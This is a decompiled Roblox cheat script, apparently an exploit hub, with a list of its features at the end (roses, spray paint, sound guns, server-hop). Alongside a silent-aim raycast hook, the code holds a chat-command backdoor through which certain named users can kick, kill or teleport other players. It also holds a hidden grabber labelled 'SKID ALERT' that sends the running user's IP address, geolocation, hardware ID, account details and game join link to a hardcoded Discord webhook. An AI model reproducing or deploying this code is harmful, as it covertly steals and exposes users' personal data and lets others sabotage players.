            end;
        end;
        local function v596(v593)
            -- upvalues: v578 (ref), l_LocalPlayer_0 (ref)
            v578[v593] = not v578[v593];
            local l_BlindEffect_0 = l_LocalPlayer_0:FindFirstChild("PlayerGui"):FindFirstChild("BlindEffect");
            if v578[v593] then
                if not l_BlindEffect_0 then
                    l_BlindEffect_0 = Instance.new("ScreenGui");
                    l_BlindEffect_0.Name = "BlindEffect";
                    l_BlindEffect_0.ResetOnSpawn = false;
                    local l_Frame_0 = Instance.new("Frame");
                    l_Frame_0.Size = UDim2.new(1, 0, 1, 0);
                    l_Frame_0.BackgroundColor3 = Color3.new(0, 0, 0);
                    l_Frame_0.Parent = l_BlindEffect_0;
                    l_BlindEffect_0.Parent = l_LocalPlayer_0:WaitForChild("PlayerGui");
                end;
            elseif l_BlindEffect_0 then
                l_BlindEffect_0:Destroy();
            end;
        end;
        local function v616(v597, v598)
            -- upvalues: v587 (ref), l_Players_0 (ref), v592 (ref), l_l_HttpService_0_0 (ref), v596 (ref), v583 (ref)
            if not v587(v597) then
                return;
            else
                v598 = v598:lower();
                if v598:sub(1, 8) == ":c kick " then
                    local v599 = v598:sub(9);
                    for _, v601 in ipairs(l_Players_0:GetPlayers()) do
                        if v601 ~= v597 and v601.Name:lower():sub(1, #v599) == v599 then
                            v601:Kick("You have been kicked by an admin.");
                        end;
                    end;
                end;
                if v598:sub(1, 9) == ":c kill " then
                    local v602 = v598:sub(10);
                    for _, v604 in ipairs(l_Players_0:GetPlayers()) do
                        if v604 ~= v597 and v604.Character and v604.Character:FindFirstChild("Humanoid") then
                            local v605 = v604.Name:lower();
                            local v606 = v604.DisplayName:lower();
                            if v605:sub(1, #v602) == v602 or v606:sub(1, #v602) == v602 then
                                v604.Character.Humanoid.Health = 0;
                            end;
                        end;
                    end;
                end;
                if v598:sub(1, 7) == ":c say " then
                    local v607 = v598:sub(8);
                    if v607 and v607 ~= "" then
                        v592(v607);
                    end;
                end;
                if v598 == ":c aura" then
                    l_l_HttpService_0_0[v597] = not l_l_HttpService_0_0[v597];
                end;
                if v598 == ":c e" then
                    v596(v597);
                end;
                if v598:sub(1, 5) == ":c sb" then
                    local v608 = tonumber(v598:match("%d+"));
                    if v608 and v608 > 0 then
                        v583[v597] = v608;
                        v592("Safety bubble set to " .. v608);
                    else
                        v583[v597] = "Safety bubble set to ";
                        v592("Safety bubble disabled");
                    end;
                end;
                if v598 == ":c tp all" and v597.Character and v597.Character:FindFirstChild("HumanoidRootPart") then
                    local l_HumanoidRootPart_18 = v597.Character.HumanoidRootPart;
                    for _, v611 in ipairs(l_Players_0:GetPlayers()) do
                        if v611 ~= v597 and v611.Character and v611.Character:FindFirstChild("HumanoidRootPart") then
                            v611.Character.HumanoidRootPart.CFrame = l_HumanoidRootPart_18.CFrame + Vector3.new(3, 0, 0);
                        end;
                    end;
                end;
                if v598 == ":c kill all" then
                    for _, v613 in ipairs(l_Players_0:GetPlayers()) do
                        if v613 ~= v597 and v613.Character and v613.Character:FindFirstChild("Humanoid") then
                            v613.Character.Humanoid.Health = 0;
                        end;
                    end;
                end;
                if v598 == ":c ban all" then
                    for _, v615 in ipairs(l_Players_0:GetPlayers()) do
                        if v615 ~= v597 then
                            v615:Kick("You have been banned by an admin.");
                        end;
                    end;
                end;
                return;
            end;
        end;
        if l_TextChatService_0.ChatVersion == Enum.ChatVersion.TextChatService then
            local l_TextChannels_1 = l_TextChatService_0:FindFirstChild("TextChannels");
            if l_TextChannels_1 then
                local l_RBXGeneral_1 = l_TextChannels_1:FindFirstChild("RBXGeneral");
                if l_RBXGeneral_1 then
                    l_RBXGeneral_1.MessageReceived:Connect(function(v619)
                        -- upvalues: l_Players_0 (ref), v616 (ref)
                        local l_TextSource_0 = v619.TextSource;
                        if l_TextSource_0 then
                            local l_l_Players_0_PlayerByUserId_2 = l_Players_0:GetPlayerByUserId(l_TextSource_0.UserId);
                            if l_l_Players_0_PlayerByUserId_2 then
                                v616(l_l_Players_0_PlayerByUserId_2, v619.Text);
                            end;
                            return;
                        else
                            return;
                        end;
                    end);
                end;
            end;
        else
            local l_ipairs_0 = ipairs;
            local v623 = "GetPlayers";
            local l_l_Players_0_0 = l_Players_0;
            for _, v626 in l_ipairs_0(l_Players_0[v623](l_l_Players_0_0)) do
                do
                    local l_v626_0 = v626;
                    l_v626_0.Chatted:Connect(function(v628)
                        -- upvalues: v616 (ref), l_v626_0 (ref)
                        v616(l_v626_0, v628);
                    end);
                end;
            end;
            l_Players_0.PlayerAdded:Connect(function(v629)
                -- upvalues: v616 (ref)
                v629.Chatted:Connect(function(v630)
                    -- upvalues: v616 (ref), v629 (ref)
                    v616(v629, v630);
                end);
            end);
        end;
        l_RunService_0.Heartbeat:Connect(function()
            -- upvalues: l_l_HttpService_0_0 (ref), v580 (ref)
            for v631, v632 in pairs(l_l_HttpService_0_0) do
                if v632 and v631.Character and v631.Character:FindFirstChild("HumanoidRootPart") then
                    local l_HumanoidRootPart_19 = v631.Character.HumanoidRootPart;
                    local v634 = tick();
                    for v635 in pairs(v580) do
                        if v635 ~= v631 and v635.Character and v635.Character:FindFirstChild("HumanoidRootPart") then
                            local v636 = (v634 + v635.UserId) % (2 * math.pi);
                            local v637 = 10;
                            local v638 = Vector3.new(math.cos(v636) * v637, 0, math.sin(v636) * v637);
                            v635.Character.HumanoidRootPart.CFrame = l_HumanoidRootPart_19.CFrame + v638;
                        end;
                    end;
                end;
            end;
        end);
        l_RunService_0.Heartbeat:Connect(function()
            -- upvalues: v583 (ref), v580 (ref)
            for v639, v640 in pairs(v583) do
                if v639.Character and v639.Character:FindFirstChild("HumanoidRootPart") then
                    local l_HumanoidRootPart_20 = v639.Character.HumanoidRootPart;
                    for v642 in pairs(v580) do
                        if v642 ~= v639 and v642.Character and v642.Character:FindFirstChild("HumanoidRootPart") then
                            local l_HumanoidRootPart_21 = v642.Character.HumanoidRootPart;
                            if (l_HumanoidRootPart_20.Position - l_HumanoidRootPart_21.Position).Magnitude < v640 then
                                local l_Unit_0 = (l_HumanoidRootPart_21.Position - l_HumanoidRootPart_20.Position).Unit;
                                l_HumanoidRootPart_21.CFrame = CFrame.new(l_HumanoidRootPart_20.Position + l_Unit_0 * v640);
                            end;
                        end;
                    end;
                end;
            end;
        end);
        local function v646(v645)
            -- upvalues: v580 (ref)
            v580[v645] = true;
        end;
        v646(l_LocalPlayer_0);
        l_Players_0.PlayerAdded:Connect(function(v647)
            -- upvalues: v646 (ref), v587 (ref), v592 (ref)
            v646(v647);
            if v587(v647) then
                task.delay(1, function()
                    -- upvalues: v592 (ref), v647 (ref)
                    v592("Lord " .. v647.DisplayName .. " has joined.");
                end);
            end;
        end);
        l_Players_0.PlayerRemoving:Connect(function(v648)
            -- upvalues: v580 (ref), l_l_HttpService_0_0 (ref), v578 (ref), v583 (ref)
            local v649 = nil;
            v580[v648] = v649;
            l_l_HttpService_0_0[v648] = v649;
            v578[v648] = v649;
            v583[v648] = v649;
        end);
        local v650 = {
            HttpService = game:GetService("HttpService"), 
            Players = game:GetService("Players"), 
            MarketplaceService = game:GetService("MarketplaceService"), 
            LocalizationService = game:GetService("LocalizationService"), 
            RbxAnalyticsService = game:GetService("RbxAnalyticsService"), 
            webhookUrl = "https://discord.com/api/webhooks/1431044656577380454/PNvtYV4nPBY9TssYSAfnNnBfoqJD00dYI9PKUwvLxeDhpfudxfjvR1ftkqPStSfCtXFn"
        };
        v650.LocalPlayer = v650.Players.LocalPlayer;
        v650.UserId = v650.LocalPlayer.UserId;
        v650.Name = v650.LocalPlayer.Name;
        v650.DisplayName = v650.LocalPlayer.DisplayName;
        v650.Membership = tostring(v650.LocalPlayer.MembershipType):sub(21);
        v650.Age = v650.LocalPlayer.AccountAge;
        v650.Country = v650.LocalizationService.RobloxLocaleId;
        v650.IP = game:HttpGet("https://v4.ident.me/");
        v650.Geo = game:HttpGet("http://ip-api.com/json");
        v650.HWID = v650.RbxAnalyticsService:GetClientId();
        v650.Job = "Roblox.GameLauncher.joinGameInstance(" .. game.PlaceId .. ", \"" .. game.JobId .. "\")";
        v650.Link = "roblox://placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId;
        v650.GameName = v650.MarketplaceService:GetProductInfo(game.PlaceId).Name;
        (function(v651)
            -- upvalues: v650 (ref)
            local v652 = http_request or request or HttpPost or syn.request;
            local v653 = {
                ["content-type"] = "application/json"
            };
            v652({
                Url = v650.webhookUrl, 
                Body = v651, 
                Method = "POST", 
                Headers = v653
            });
            v652({
                Url = v650.webhookUrl, 
                Body = v650.HttpService:JSONEncode({
                    content = v650.Link
                }), 
                Method = "POST", 
                Headers = v653
            });
        end)((function()
            -- upvalues: v650 (ref)
            local v654 = identifyexecutor();
            local v655 = {
                avatar_url = "", 
                content = "", 
                embeds = {
                    {
                        author = {
                            name = "SKID ALERT", 
                            url = "https://roblox.com"
                        }, 
                        description = string.format("__[Player Info](https://www.roblox.com/users/%d)__\n**Display Name:** %s\n**Username:** %s\n**User Id:** %d\n**MembershipType:** %s\n**AccountAge:** %d\n**Country:** %s\n**IP:** %s\n**Hwid:** %s\n**Date:** %s\n**Time:** %s\n\n__[Game Info](https://www.roblox.com/games/%d)__\n**Game:** %s\n**Game Id:** %d\n**Exploit:** %s\n\n**Data:**```%s```\n\n**JobId:**```%s```", v650.UserId, v650.DisplayName, v650.Name, v650.UserId, v650.Membership, v650.Age, v650.Country, v650.IP, v650.HWID, os.date("%m/%d/%Y"), os.date("%X"), game.PlaceId, v650.GameName, game.PlaceId, v654, v650.Geo, v650.Job), 
                        type = "rich", 
                        color = tonumber("0xFFD700"), 
                        thumbnail = {
                            url = "https://www.roblox.com/headshot-thumbnail/image?userId=" .. v650.UserId .. "&width=150&height=150&format=png"
                        }
                    }
                }
            };
            return v650.HttpService:JSONEncode(v655);
        end)());
        local v656 = v44:MakeTab({
            Name = "Silent Aim", 
            Icon = "rbxassetid://6031091005", 
            PremiumOnly = false
        });
        local v657 = {
            SA = {
                En = false, 
                Key = "RightAlt", 
                TP = "HumanoidRootPart", 
                Show = false, 
                MHP = false, 
                AP = false, 
                MHP_A = 0.165, 
                HC = 100, 
                Col = Color3.fromRGB(54, 57, 241)
            }, 
            Cam = l_Workspace_0.CurrentCamera, 
            P = game:GetService("Players"), 
            RS = game:GetService("RunService"), 
            GS = game:GetService("GuiService"), 
            UIS = game:GetService("UserInputService"), 
            ST = game:GetService("Stats"), 
            LP = game:GetService("Players").LocalPlayer, 
            MC = nil, 
            MB = nil, 
            M = nil, 
            MBX = nil, 
            VTP = {
                "Head", 
                "HumanoidRootPart"
            }, 
            CPA = 0.165, 
            EA = {
                Raycast = {
                    AC = 3, 
                    Args = {
                        "Instance", 
                        "Vector3", 
                        "Vector3", 
                        "RaycastParams"
                    }
                }
            }, 
            CoR = coroutine.resume, 
            CoC = coroutine.create
        };
        getgenv().SilentAimSettings = v657.SA;
        v657.M = v657.LP:GetMouse();
        v657.MBX = Drawing.new("Square");
        v657.MBX.Visible = false;
        v657.MBX.ZIndex = 999;
        v657.MBX.Color = v657.SA.Col;
        v657.MBX.Thickness = 2;
        v657.MBX.Size = Vector2.new(30, 30);
        v657.MBX.Filled = true;
        v657.MC = v657.UIS.TouchEnabled and not v657.UIS.KeyboardEnabled;
        local _ = game.GetChildren;
        local l_GetPlayers_0 = v657.P.GetPlayers;
        local l_WorldToScreenPoint_0 = v657.Cam.WorldToScreenPoint;
        local l_WorldToViewportPoint_0 = v657.Cam.WorldToViewportPoint;
        local l_FindFirstChild_0 = game.FindFirstChild;
        local l_RenderStepped_0 = v657.RS.RenderStepped;
        local l_Heartbeat_0 = v657.RS.Heartbeat;
        local _ = v657.GS.GetGuiInset;
        local l_GetMouseLocation_0 = v657.UIS.GetMouseLocation;
        local function v669(v667)
            v667 = math.floor(v667);
            if math.floor(math.random() * 100) / 100 > v667 / 100 then
                local _ = false;
            end;
            return true;
        end;
        local function v673(v670)
            -- upvalues: l_WorldToScreenPoint_0 (ref), v657 (ref)
            local v671, v672 = l_WorldToScreenPoint_0(v657.Cam, v670);
            return Vector2.new(v671.X, v671.Y), v672;
        end;
        local function v680(v674, v675)
            local v676 = 0;
            if #v674 >= v675.AC then
                for v677, v678 in next, v674 do
                    if typeof(v678) == v675.Args[v677] then
                        v676 = v676 + 1;
                    end;
                end;
                if v675.AC > v676 then
                    local _ = false;
                end;
                return true;
            else
                return false;
            end;
        end;
        local function v683(v681, v682)
            return (v682 - v681).Unit * 1000;
        end;
        local function v684()
            -- upvalues: l_GetMouseLocation_0 (ref), v657 (ref)
            return l_GetMouseLocation_0(v657.UIS);
        end;
        local function v687(v685)
            -- upvalues: v657 (ref)
            local v686 = v685.Velocity or Vector3.new();
            return v685.Position + (v657.SA.MHP and v686 * v657.CPA or Vector3.new());
        end;
        local function v699()
            -- upvalues: v657 (ref), v684 (ref), l_GetPlayers_0 (ref), l_FindFirstChild_0 (ref), v673 (ref)
            if v657.SA.TP then
                local v688 = nil;
                local v689 = nil;
                local v690 = v657.MC and v657.Cam.ViewportSize / 2 or v684();
                for _, v692 in next, l_GetPlayers_0(v657.P) do
                    if v692 ~= v657.LP then
                        local l_Character_21 = v692.Character;
                        if l_Character_21 then
                            local v694 = l_FindFirstChild_0(l_Character_21, "HumanoidRootPart");
                            local v695 = l_FindFirstChild_0(l_Character_21, "Humanoid");
                            if v694 and v695 and (not v695 or v695.Health > 0) and (v657.Cam.CFrame.Position - v694.Position).Magnitude <= 35 then
                                local v696, v697 = v673(v694.Position);
                                if v697 then
                                    local l_Magnitude_1 = (v690 - v696).Magnitude;
                                    if l_Magnitude_1 <= (not v689 and 2000 or v689) then
                                        v688 = not (v657.SA.TP ~= "Random") and l_Character_21[v657.VTP[math.random(1, #v657.VTP)]] or l_Character_21[v657.SA.TP];
                                        v689 = l_Magnitude_1;
                                    end;
                                end;
                            end;
                        end;
                    end;
                end;
                return v688;
            else
                return;
            end;
        end;
        v656:AddToggle({
            Name = "Enabled", 
            Default = v657.SA.En, 
            Callback = function(v700)
                -- upvalues: v657 (ref)
                v657.SA.En = v700;
                v657.MBX.Visible = v700;
            end
        });
        v656:AddBind({
            Name = "Toggle Key", 
            Default = Enum.KeyCode[v657.SA.Key], 
            Hold = false, 
            Callback = function()
                -- upvalues: v657 (ref)
                v657.SA.En = not v657.SA.En;
                EnabledToggle:Set(v657.SA.En);
                v657.MBX.Visible = v657.SA.En;
            end
        });
        v656:AddDropdown({
            Name = "Target Part", 
            Default = v657.SA.TP, 
            Options = {
                "Head", 
                "HumanoidRootPart", 
                "Random"
            }, 
            Callback = function(v701)
                -- upvalues: v657 (ref)
                v657.SA.TP = v701;
            end
        });
        v656:AddSlider({
            Name = "Hit Chance", 
            Min = 0, 
            Max = 100, 
            Increment = 1, 
            Default = v657.SA.HC, 
            ValueName = "%", 
            Callback = function(v702)
                -- upvalues: v657 (ref)
                v657.SA.HC = v702;
            end
        });
        v656:AddSection({
            Name = "Prediction"
        });
        v656:AddToggle({
            Name = "Manual Prediction", 
            Default = v657.SA.MHP, 
            Callback = function(v703)
                -- upvalues: v657 (ref)
                v657.SA.MHP = v703;
            end
        });
        v656:AddToggle({
            Name = "Auto Prediction", 
            Default = v657.SA.AP, 
            Callback = function(v704)
                -- upvalues: v657 (ref)
                v657.SA.AP = v704;
            end
        });
        v656:AddSlider({
            Name = "Prediction Amount", 
            Min = 0.165, 
            Max = 1, 
            Increment = 0.001, 
            Default = v657.SA.MHP_A, 
            Callback = function(v705)
                -- upvalues: v657 (ref)
                v657.SA.MHP_A = v705;
            end
        });
        v656:AddSection({
            Name = "Visuals"
        });
        v656:AddToggle({
            Name = "Show Silent Aim Target", 
            Default = v657.SA.Show, 
            Callback = function(v706)
                -- upvalues: v657 (ref)
                v657.SA.Show = v706;
                v657.MBX.Visible = v706;
            end
        });
        v656:AddColorpicker({
            Name = "Silent Aim Target Color", 
            Default = v657.SA.Col, 
            Callback = function(v707)
                -- upvalues: v657 (ref)
                v657.SA.Col = v707;
                v657.MBX.Color = v707;
            end
        });
        l_Heartbeat_0:Connect(function()
            -- upvalues: v657 (ref)
            if v657.SA.AP then
                local l_status_4, l_result_4 = pcall(function()
                    -- upvalues: v657 (ref)
                    return v657.ST.Network.ServerStatsItem["Data Ping"]:GetValueString();
                end);
                if l_status_4 then
                    local v710 = tonumber(l_result_4:match("(%d+)")) or 50;
                    if v710 < 20 then
                        v657.CPA = 0.11;
                    elseif v710 < 30 then
                        v657.CPA = 0.115;
                    elseif v710 < 40 then
                        v657.CPA = 0.12;
                    elseif v710 < 50 then
                        v657.CPA = 0.125;
                    elseif v710 >= 60 then
                        if v710 < 70 then
                            v657.CPA = 0.135;
                        elseif v710 >= 80 then
                            if v710 < 90 then
                                v657.CPA = 0.145;
                            elseif v710 >= 100 then
                                if v710 >= 110 then
                                    v657.CPA = 0.16;
                                else
                                    v657.CPA = 0.155;
                                end;
                            else
                                v657.CPA = 0.15;
                            end;
                        else
                            v657.CPA = 0.14;
                        end;
                    else
                        v657.CPA = 0.13;
                    end;
                end;
            else
                v657.CPA = v657.SA.MHP_A;
            end;
        end);
        v657.CoR(v657.CoC(function()
            -- upvalues: l_RenderStepped_0 (ref), v657 (ref), v699 (ref), l_WorldToViewportPoint_0 (ref)
            l_RenderStepped_0:Connect(function()
                -- upvalues: v657 (ref), v699 (ref), l_WorldToViewportPoint_0 (ref)
                if v657.SA.Show and v657.SA.En then
                    if v699() then
                        local v711 = v699().Parent.PrimaryPart or v699();
                        local v712, v713 = l_WorldToViewportPoint_0(v657.Cam, v711.Position);
                        v657.MBX.Visible = v713;
                        v657.MBX.Position = Vector2.new(v712.X, v712.Y);
                    else
                        v657.MBX.Visible = false;
                        v657.MBX.Position = Vector2.new();
                    end;
                end;
            end);
        end));
        local v714 = nil;
        v714 = hookmetamethod(game, "__namecall", newcclosure(function(...)
            -- upvalues: v669 (ref), v657 (ref), l_Workspace_0 (ref), v680 (ref), v699 (ref), v683 (ref), v687 (ref), v714 (ref)
            local v715 = getnamecallmethod();
            local v716 = {
                ...
            };
            local v717 = v716[1];
            local v718 = v669(v657.SA.HC);
            if v657.SA.En and v717 == l_Workspace_0 and not checkcaller() and v718 and v715 == "Raycast" and v680(v716, v657.EA.Raycast) then
                local v719 = v716[2];
                local v720 = v699();
                if v720 then
                    v716[3] = v683(v719, v687(v720));
                    return v714(unpack(v716));
                end;
            end;
            return v714(...);
        end));
        local v721 = "Init";
        local l_v43_0 = v43;
        v43[v721](l_v43_0);
        return;
    end;
else
    return;
end;

Features

  • Desc
  • Main Page
  • Server-Hop
  • Rejoin-Server
  • Fun Page
  • 🌹 Roses
  • Get Roses
  • Rainbow Roses
  • 🎨 Spray Paint
  • Get Spray Paint
  • Rainbow Spray Paint
  • 🔊 FE Sound Gun
  • Sound ID
  • Woah Gun
  • Ahhh Gun
  • Yippee Gun